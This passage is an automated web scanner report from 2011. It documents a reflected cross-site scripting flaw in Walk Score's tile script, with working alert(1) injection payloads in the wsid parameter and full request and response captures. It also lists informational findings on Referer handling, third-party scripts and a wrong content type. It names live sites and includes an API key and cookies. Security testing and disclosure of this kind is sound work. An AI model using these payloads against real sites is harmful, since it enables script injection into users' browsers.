GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c35bee'%3balert(1)//21d344fbfb2&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:12:18 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16016
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
<script type='text/javascript'>
   var url_street = "";

   var ws_auth_wsid = '28c0b84aee0114bb96148e77f80ba04c35bee';alert(1)//21d344fbfb2';
   var ws_auth_domain = 'realestatecenter.bankofamerica.com';
   var width = 583;
   var height = 268;
   var results_w = 239;
   var results_h = 268;
   var commute_results_w = 236;
   var commute_results_h = 19
...[SNIP]...

1.13. http://www.walkscore.com/serve-walkscore-tile.php [wsid parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the wsid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f5e0"%3balert(1)//f43bf59dab1 was submitted in the wsid parameter. This input was echoed as 8f5e0";alert(1)//f43bf59dab1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c8f5e0"%3balert(1)//f43bf59dab1&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:12:15 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16016
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
</a>.");
       }

       trackEvent("wsid tracking", "28c0b84aee0114bb96148e77f80ba04c8f5e0";alert(1)//f43bf59dab1", "bankofamerica.com");
       
       //initialize a geoData object from the url variables
       var geoData = initGeoDataFromURL();    

       window.amenityMapApp = new AmenityMapApp(geoData, dataFetcher);

   }));
   if (
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:09:15 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 15963
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
f (window.navigator.userAgent.toLowerCase().indexOf('msie') != -1){
   setTimeout(function(){
       if(window.location && !(window.ws_tile_loaded || ''))
           window.location = window.location+'&reloaded_from=realestatecenter.bankofamerica.com';
   }, 3000);
}
</script>
<title>Walk Score - Helping homebuyers, renters, and real estate agents findhouses and apartments in great neighborhoods.</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Walk Score helps home buyers and renters find houses and apartments in great neighborhoods.    Walk Score calculates the walkability of any address." />
<meta name="keywords" content="real estate, home buyers, homebuyers, renters, apartments, great neighborhoods, buying a house, finding an apartment, real estate agent, real estate broker, walk, walking, walkable, walkable neighborhoods, compact neighborhood, pedestrian friendly design, pedestrian-friendly design, pedestrian centric design, pedestrian-centric design, walking map, urban planning, urban planning walking, urban design, sidewalk design, street design, grid, walking grid" />
<meta http-equiv="X-UA-Compatible" content="IE=9" />
<!--[if lt IE 9]>
<style type="text/css">
#pub-transit.menu-item .box-score h2 { padding-top: 2px; }
.menu-items .menu-item div.left, .menu-items .menu-item div.right, .menu-items .menu-item h3,
.menu-items .menu-item h4 {
   text-overflow: clip;
   -o-text-overflow: clip;
}
input[type="text"].commute-query {
   padding-top: 1px;
   height: 18px;
}
</style>
<![endif]-->

<!--[if lt IE 8]>
<style type="text/css">
.menu-items .menu-item.rail h3, .menu-items .menu-item.bus h3, .menu-items .menu-item.other h3 {
   padding-left: 0;
   background: none;
}
</style>
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/neighborhood-map_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/map_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/dialog_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/commute_v59320.css" />
<link rel="stylesheet" type="text/css" href="http
...[SNIP]...

Request 2

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:09:57 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 15776
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
f (window.navigator.userAgent.toLowerCase().indexOf('msie') != -1){
   setTimeout(function(){
       if(window.location && !(window.ws_tile_loaded || ''))
           window.location = window.location+'&reloaded_from=';
   }, 3000);
}
</script>
<title>Walk Score - Helping homebuyers, renters, and real estate agents findhouses and apartments in great neighborhoods.</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Walk Score helps home buyers and renters find houses and apartments in great neighborhoods.    Walk Score calculates the walkability of any address." />
<meta name="keywords" content="real estate, home buyers, homebuyers, renters, apartments, great neighborhoods, buying a house, finding an apartment, real estate agent, real estate broker, walk, walking, walkable, walkable neighborhoods, compact neighborhood, pedestrian friendly design, pedestrian-friendly design, pedestrian centric design, pedestrian-centric design, walking map, urban planning, urban planning walking, urban design, sidewalk design, street design, grid, walking grid" />
<meta http-equiv="X-UA-Compatible" content="IE=9" />
<!--[if lt IE 9]>
<style type="text/css">
#pub-transit.menu-item .box-score h2 { padding-top: 2px; }
.menu-items .menu-item div.left, .menu-items .menu-item div.right, .menu-items .menu-item h3,
.menu-items .menu-item h4 {
   text-overflow: clip;
   -o-text-overflow: clip;
}
input[type="text"].commute-query {
   padding-top: 1px;
   height: 18px;
}
</style>
<![endif]-->

<!--[if lt IE 8]>
<style type="text/css">
.menu-items .menu-item.rail h3, .menu-items .menu-item.bus h3, .menu-items .menu-item.other h3 {
   padding-left: 0;
   background: none;
}
</style>
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/neighborhood-map_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/map_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/dialog_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/commute_v59320.css" />
<link rel="stylesheet" type="text/css" href="http://cdn.walkscore.com/css/miniwindo
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:09:15 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 15963
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
...[SNIP]...
<!-- DFP init code -->
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<!-- FIXME: Set sensor value dynamically -->

   <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false&callback=google_ready&libraries=adsense,panoramio"></script>
   <script type="text/javascript" src="http://www.google.com/jsapi?key=ABQIAAAAOtgwyX124IX2Zpe7gGhBsxS3tJNgUZ1nThh1KEATL8UWMaiosxQ7wZ2BhjWP4DLhPcIryslC442YvA"></script>
...[SNIP]...
<!-- custom js-->

   <script type="text/javascript" src="http://ecn.dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=7.0"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-e0nESeHrFzS1c.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:09:15 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 15963
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
...[SNIP]...
<!-- DFP init code -->
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<!-- FIXME: Set sensor value dynamically -->

   <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false&callback=google_ready&libraries=adsense,panoramio"></script>
   <script type="text/javascript" src="http://www.google.com/jsapi?key=ABQIAAAAOtgwyX124IX2Zpe7gGhBsxS3tJNgUZ1nThh1KEATL8UWMaiosxQ7wZ2BhjWP4DLhPcIryslC442YvA"></script>
...[SNIP]...
<!-- custom js-->

   <script type="text/javascript" src="http://ecn.dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=7.0"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.walkscore.com
Path:   /auth/amenity_map_auth

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /auth/amenity_map_auth?wsid=28c0b84aee0114bb96148e77f80ba04c&domain=realestatecenter.bankofamerica.com HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://www.walkscore.com/serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=429f24f0509f23d1:T=1314108778:S=ALNI_Mb8mr4E7-tCe6Gu6DFoRsh8S48d_A; __qca=P0-241804802-1314108906655; __utma=107533060.188617499.1314108902.1314108902.1314108902.1; __utmb=107533060.2.9.1314108906658; __utmc=107533060; __utmz=107533060.1314108907.1.1.utmcsr=realestatecenter.bankofamerica.com|utmccn=(referral)|utmcmd=referral|utmcct=/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup

Response

HTTP/1.1 200 OK
Cache-Control: max-age=20, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Tue, 23 Aug 2011 14:14:05 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Pad: avoid browser bug
Content-Length: 57
Connection: keep-alive

{"status": 1, "wsid": "28c0b84aee0114bb96148e77f80ba04c"}

Report generated by XSS.CX at Tue Aug 23 09:17:10 GMT-06:00 2011.